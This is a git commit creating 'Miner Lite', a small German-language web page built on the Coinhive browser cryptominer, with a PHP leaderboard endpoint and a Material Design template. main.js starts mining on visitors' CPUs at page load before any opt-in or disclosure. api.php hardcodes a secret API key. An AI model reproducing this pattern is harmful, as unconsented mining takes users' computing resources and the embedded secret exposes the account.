init repo

This commit is contained in:
Niklas 2017-10-06 19:32:01 +02:00
commit 725253050f
5 changed files with 567 additions and 0 deletions

18
api.php Normal file
View File

@ -0,0 +1,18 @@
<?php
$secret = "dp42NR7L7S3ZyxfhfIkTe98bEw0rzv9C";
$response = array();
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_RETURNTRANSFER => 1,
CURLOPT_URL => 'https://api.coinhive.com/user/top?secret='.$secret.'&count=10'
));
$result = curl_exec($curl);
$json = json_decode($result,true);
foreach($json['users'] as $i => $values){
$username = htmlentities($values['name']);
$response[$values['name']] = htmlentities($values['total']);
}
header('Content-Type: application/json');
echo json_encode($response);
curl_close($curl);

BIN
images/favicon.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 905 B

193
index.html Normal file
View File

@ -0,0 +1,193 @@
<!doctype html>
<!--
Material Design Lite
Copyright 2015 Google Inc. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License
-->
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="A front-end template that helps you build fast, modern mobile web apps.">
<meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0">
<title>Miner Lite</title>
<link rel="shortcut icon" href="images/favicon.png">
<!-- SEO: If your mobile URL is different from the desktop URL, add a canonical link to the desktop page https://developers.google.com/webmasters/smartphone-sites/feature-phones -->
<!--
<link rel="canonical" href="http://www.example.com/">
-->
<link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:regular,bold,italic,thin,light,bolditalic,black,medium&amp;lang=en">
<link rel="stylesheet" href="https://fonts.googleapis.com/icon?family=Material+Icons">
<link rel="stylesheet" href="https://code.getmdl.io/1.3.0/material.indigo-deep_purple.min.css">
<link rel="stylesheet" type="text/css" href="//csshake.surge.sh/csshake.min.css">
<link rel="stylesheet" href="styles.css">
</head>
<body class="mdl-demo mdl-color--grey-100 mdl-color-text--grey-700 mdl-base">
<div class="mdl-layout mdl-js-layout mdl-layout--fixed-header">
<header class="mdl-layout__header mdl-layout__header--scroll mdl-color--primary">
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
</div>
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
<h3>Miner Lite</h3>
</div>
<div class="mdl-layout--large-screen-only mdl-layout__header-row">
</div>
<div class="mdl-layout__tab-bar mdl-js-ripple-effect mdl-color--primary-dark">
<a href="#overview" class="mdl-layout__tab is-active">Startseite</a>
<a href="#user" class="mdl-layout__tab">Benutzer Details</a>
<a href="#server" class="mdl-layout__tab">Server Details</a>
<a href="#faq" class="mdl-layout__tab">FAQ</a>
<button class="mdl-button mdl-js-button mdl-button--fab mdl-button--colored" id="add">
<i class="material-icons" role="presentation">send</i>
<span class="visuallyhidden">Send</span>
</button>
</div>
</header>
<main class="mdl-layout__content">
<dialog class="modal modal--align-top modal__bg">
<h4 class="mdl-dialog__title">Bitte wähle deinen Benutzernamen</h4>
<div class="mdl-dialog__content">
<div class="mdl-textfield mdl-js-textfield">
<input class="mdl-textfield__input" type="text" id="userinput">
<label class="mdl-textfield__label" for="userinput">Benutzername</label>
</div>
</div>
<div class="mdl-dialog__actions">
<button type="button" class="mdl-button set">Setzen</button>
<button type="button" class="mdl-button close">Abbruch</button>
</div>
</dialog>
<div class="mdl-layout__tab-panel is-active" id="overview">
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
<header class="section__play-btn mdl-cell mdl-cell--3-col-desktop mdl-cell--2-col-tablet mdl-cell--4-col-phone mdl-color--teal-100 mdl-color-text--white">
<i class="material-icons">play_circle_filled</i>
</header>
<div class="mdl-card mdl-cell mdl-cell--9-col-desktop mdl-cell--6-col-tablet mdl-cell--4-col-phone">
<div class="mdl-card__supporting-text">
<h4>Features</h4>
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse.
</div>
<div class="mdl-card__actions">
<a href="#" class="mdl-button">Read our features</a>
</div>
</div>
<ul class="mdl-menu mdl-js-menu mdl-menu--bottom-right" for="btn1">
<li class="mdl-menu__item">Lorem</li>
<li class="mdl-menu__item" disabled>Ipsum</li>
<li class="mdl-menu__item">Dolor</li>
</ul>
</section>
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
<div class="mdl-card mdl-cell mdl-cell--12-col">
<div class="mdl-card__supporting-text mdl-grid mdl-grid--no-spacing">
<h4 class="mdl-cell mdl-cell--12-col">Details</h4>
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
<div class="section__circle-container__circle mdl-color--primary"></div>
</div>
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
<h5>Lorem ipsum dolor sit amet</h5>
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
</div>
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
<div class="section__circle-container__circle mdl-color--primary"></div>
</div>
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
<h5>Lorem ipsum dolor sit amet</h5>
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
</div>
<div class="section__circle-container mdl-cell mdl-cell--2-col mdl-cell--1-col-phone">
<div class="section__circle-container__circle mdl-color--primary"></div>
</div>
<div class="section__text mdl-cell mdl-cell--10-col-desktop mdl-cell--6-col-tablet mdl-cell--3-col-phone">
<h5>Lorem ipsum dolor sit amet</h5>
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Duis nulla tempor do aute et eiusmod velit exercitation nostrud quis <a href="#">proident minim</a>.
</div>
</div>
<div class="mdl-card__actions">
<a href="#" class="mdl-button">Read our features</a>
</div>
</div>
</section>
<section class="section--center mdl-grid mdl-grid--no-spacing mdl-shadow--2dp">
<div class="mdl-card mdl-cell mdl-cell--12-col">
<div class="mdl-card__supporting-text">
<h4>Technology</h4>
Dolore ex deserunt aute fugiat aute nulla ea sunt aliqua nisi cupidatat eu. Nostrud in laboris labore nisi amet do dolor eu fugiat consectetur elit cillum esse. Pariatur occaecat nisi laboris tempor laboris eiusmod qui id Lorem esse commodo in. Exercitation aute dolore deserunt culpa consequat elit labore incididunt elit anim.
</div>
<div class="mdl-card__actions">
<a href="#" class="mdl-button">Read our features</a>
</div>
</div>
</section>
</div>
<div class="mdl-layout__tab-panel" id="user">
<section class="section--center mdl-grid mdl-grid--no-spacing">
<div class="mdl-cell mdl-cell--12-col">
<h4>Benutzer Details</h4>
<span class="mdl-chip" id="notloggedin">
<span class="mdl-chip__text">Nicht eingeloggt</span>
</span>
<div id="loggedin" style="display:none;">
<span class="mdl-chip mdl-chip--contact">
<span class="mdl-chip__contact mdl-color--teal mdl-color-text--white">U</span>
<span class="mdl-chip__text" id="usernametext">USERNAME</span>
</span>
<br />
<p>
Threads: <span id="details_threads">0</span><br />
Hashes/s: <span id="details_hashes">0</span><br />
Accepted Hashes: <span id="details_accepted">0</span><br />
Total Hashes: <span id="details_total">0</span><br />
</p>
</div>
<div style="margin-bottom: 25em">
</div>
</div>
</section>
</div>
<div class="mdl-layout__tab-panel" id="server">
<section class="section--center mdl-grid mdl-grid--no-spacing">
<div class="mdl-cell mdl-cell--12-col">
<h4>Server Details</h4>
<ol id="top10">
</ol>
<div style="margin-bottom: 25em">
</div>
</div>
</section>
</div>
<footer class="mdl-mega-footer">
<div class="mdl-mega-footer--bottom-section">
<div class="mdl-logo">
More Information
</div>
<ul class="mdl-mega-footer--link-list">
<li><a href="https://developers.google.com/web/starter-kit/">Web Starter Kit</a></li>
<li><a href="#">Help</a></li>
<li><a href="#">Privacy and Terms</a></li>
</ul>
</div>
</footer>
</main>
</div>
<script src="https://code.getmdl.io/1.3.0/material.min.js"></script>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<script src="main.js"></script>
</body>
</html>

148
main.js Normal file
View File

@ -0,0 +1,148 @@
var sitekey = '59UmZxWe8pVs2PDpTSCcNGZp7FxYWdFS';
var anonminer = new CoinHive.Anonymous(sitekey, {
threads: 2
});
function getCookie(name) {
var dc = document.cookie;
var prefix = name + "=";
var begin = dc.indexOf("; " + prefix);
if (begin == -1) {
begin = dc.indexOf(prefix);
if (begin != 0) return null;
} else {
begin += 2;
var end = document.cookie.indexOf(";", begin);
if (end == -1) {
end = dc.length;
}
}
// because unescape has been deprecated, replaced with decodeURI
//return unescape(dc.substring(begin + prefix.length, end));
return decodeURI(dc.substring(begin + prefix.length, end));
}
function setCookie(cname, cvalue, exdays) {
var d = new Date();
d.setTime(d.getTime() + (exdays * 24 * 60 * 60 * 1000));
var expires = "expires=" + d.toUTCString();
document.cookie = cname + "=" + cvalue + ";" + expires + ";path=/";
}
function ajax(url, method = "GET", data = "", tryJson = true) {
return new Promise((resolve, reject) => {
var httpRequest = new XMLHttpRequest();
httpRequest.onreadystatechange = function() {
if (httpRequest.readyState === XMLHttpRequest.DONE) {
if (httpRequest.status === 200) {
var response = httpRequest.responseText;
if (tryJson) {
try {
response = JSON.parse(response)
} catch (e) {}
}
resolve(response)
} else {
reject()
}
}
};
httpRequest.open(method, url, true);
if (method === "POST") {
httpRequest.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
httpRequest.send(data)
} else {
httpRequest.send()
}
})
}
function updateTop10() {
ajax("api.php").then(function(answer) {
console.log(answer);
var list = document.getElementById('top10');
list.innerHTML = "";
for (var key in answer) {
var value = answer[key];
list.insertAdjacentHTML('beforeend', '<li>' + key + ': ' + value + '</li>');
}
}, function() {})
}
function login(userid) {
document.getElementById('add').style.display = "none";
document.getElementById('notloggedin').style.display = "none";
document.getElementById('loggedin').style.display = "inline";
document.getElementById('usernametext').innerHTML = userid;
if(anonminer.isRunning()) {
anonminer.stop();
}
var miner = new CoinHive.User(sitekey, userid, {
threads: 4,
autoThreads: true
});
// Update stats once per second
setInterval(function() {
var hashesPerSecond = miner.getHashesPerSecond();
var totalHashes = miner.getTotalHashes();
var acceptedHashes = miner.getAcceptedHashes();
console.log(hashesPerSecond + " " + totalHashes + " " + acceptedHashes);
document.getElementById('details_threads').innerHTML = miner.getNumThreads();
document.getElementById('details_hashes').innerHTML = hashesPerSecond;
document.getElementById('details_total').innerHTML = totalHashes;
document.getElementById('details_accepted').innerHTML = acceptedHashes;
}, 1000);
miner.start(CoinHive.IF_EXCLUSIVE_TAB);
}
var dialog = document.querySelector('dialog');
var showDialogButton = document.querySelector('#add');
if (!dialog.showModal) {
dialogPolyfill.registerDialog(dialog);
}
showDialogButton.addEventListener('click', function() {
dialog.showModal();
});
dialog.querySelector('.set').addEventListener('click', function() {
var username = document.getElementById('userinput').value;
setCookie("username", username, 30);
login(username);
dialog.close();
});
dialog.querySelector('.close').addEventListener('click', function() {
dialog.close();
});
var username = getCookie("username");
if (username != null) {
login(username);
} else {
anonminer.start();
}
updateTop10();
setInterval(function() {
updateTop10();
}, 60000);
setInterval(function() {
if (getCookie("username") == null) {
var button = document.getElementById("add");
button.classList.add("shake-slow");
button.classList.add("shake-constant");
setTimeout(function(){
button.classList.remove("shake-slow");
button.classList.remove("shake-constant");
}, 2000);
}
}, 5000);

208
styles.css Normal file
View File

@ -0,0 +1,208 @@
/**
* Copyright 2015 Google Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
html, body {
font-family: 'Roboto', 'Helvetica', sans-serif;
margin: 0;
padding: 0;
}
.mdl-demo .mdl-layout__header-row {
padding-left: 40px;
}
.mdl-demo .mdl-layout.is-small-screen .mdl-layout__header-row h3 {
font-size: inherit;
}
.mdl-demo .mdl-layout__tab-bar-button {
display: none;
}
.mdl-demo .mdl-layout.is-small-screen .mdl-layout__tab-bar .mdl-button {
display: none;
}
.mdl-demo .mdl-layout:not(.is-small-screen) .mdl-layout__tab-bar,
.mdl-demo .mdl-layout:not(.is-small-screen) .mdl-layout__tab-bar-container {
overflow: visible;
}
.mdl-demo .mdl-layout__tab-bar-container {
height: 64px;
}
.mdl-demo .mdl-layout__tab-bar {
padding: 0;
padding-left: 16px;
box-sizing: border-box;
height: 100%;
width: 100%;
}
.mdl-demo .mdl-layout__tab-bar .mdl-layout__tab {
height: 64px;
line-height: 64px;
}
.mdl-demo .mdl-layout__tab-bar .mdl-layout__tab.is-active::after {
background-color: white;
height: 4px;
}
.mdl-demo main > .mdl-layout__tab-panel {
padding: 8px;
padding-top: 48px;
}
.mdl-demo .mdl-card {
height: auto;
display: flex;
flex-direction: column;
}
.mdl-demo .mdl-card > * {
height: auto;
}
.mdl-demo .mdl-card .mdl-card__supporting-text {
margin: 40px;
flex-grow: 1;
padding: 0;
color: inherit;
width: calc(100% - 80px);
}
.mdl-demo.mdl-demo .mdl-card__supporting-text h4 {
margin-top: 0;
margin-bottom: 20px;
}
.mdl-demo .mdl-card__actions {
margin: 0;
padding: 4px 40px;
color: inherit;
}
.mdl-demo .mdl-card__actions a {
color: #00BCD4;
margin: 0;
}
.mdl-demo .mdl-card__actions a:hover,
.mdl-demo .mdl-card__actions a:active {
color: inherit;
background-color: transparent;
}
.mdl-demo .mdl-card__supporting-text + .mdl-card__actions {
border-top: 1px solid rgba(0, 0, 0, 0.12);
}
.mdl-demo #add {
position: absolute;
right: 40px;
top: 36px;
z-index: 999;
}
.mdl-demo .mdl-layout__content section:not(:last-of-type) {
position: relative;
margin-bottom: 48px;
}
.mdl-demo section.section--center {
max-width: 860px;
}
.mdl-demo #features section.section--center {
max-width: 620px;
}
.mdl-demo section > header{
display: flex;
align-items: center;
justify-content: center;
}
.mdl-demo section > .section__play-btn {
min-height: 200px;
}
.mdl-demo section > header > .material-icons {
font-size: 3rem;
}
.mdl-demo section > button {
position: absolute;
z-index: 99;
top: 8px;
right: 8px;
}
.mdl-demo section .section__circle {
display: flex;
align-items: center;
justify-content: flex-start;
flex-grow: 0;
flex-shrink: 1;
}
.mdl-demo section .section__text {
flex-grow: 1;
flex-shrink: 0;
padding-top: 8px;
}
.mdl-demo section .section__text h5 {
font-size: inherit;
margin: 0;
margin-bottom: 0.5em;
}
.mdl-demo section .section__text a {
text-decoration: none;
}
.mdl-demo section .section__circle-container > .section__circle-container__circle {
width: 64px;
height: 64px;
border-radius: 32px;
margin: 8px 0;
}
.mdl-demo section.section--footer .section__circle--big {
width: 100px;
height: 100px;
border-radius: 50px;
margin: 8px 32px;
}
.mdl-demo .is-small-screen section.section--footer .section__circle--big {
width: 50px;
height: 50px;
border-radius: 25px;
margin: 8px 16px;
}
.mdl-demo section.section--footer {
padding: 64px 0;
margin: 0 -8px -8px -8px;
}
.mdl-demo section.section--center .section__text:not(:last-child) {
border-bottom: 1px solid rgba(0,0,0,.13);
}
.mdl-demo .mdl-card .mdl-card__supporting-text > h3:first-child {
margin-bottom: 24px;
}
.mdl-demo .mdl-layout__tab-panel:not(#overview) {
background-color: white;
}
.mdl-demo #features section {
margin-bottom: 72px;
}
.mdl-demo #features h4, #features h5 {
margin-bottom: 16px;
}
.mdl-demo .toc {
border-left: 4px solid #C1EEF4;
margin: 24px;
padding: 0;
padding-left: 8px;
display: flex;
flex-direction: column;
}
.mdl-demo .toc h4 {
font-size: 0.9rem;
margin-top: 0;
}
.mdl-demo .toc a {
color: #4DD0E1;
text-decoration: none;
font-size: 16px;
line-height: 28px;
display: block;
}
.mdl-demo .mdl-menu__container {
z-index: 99;
}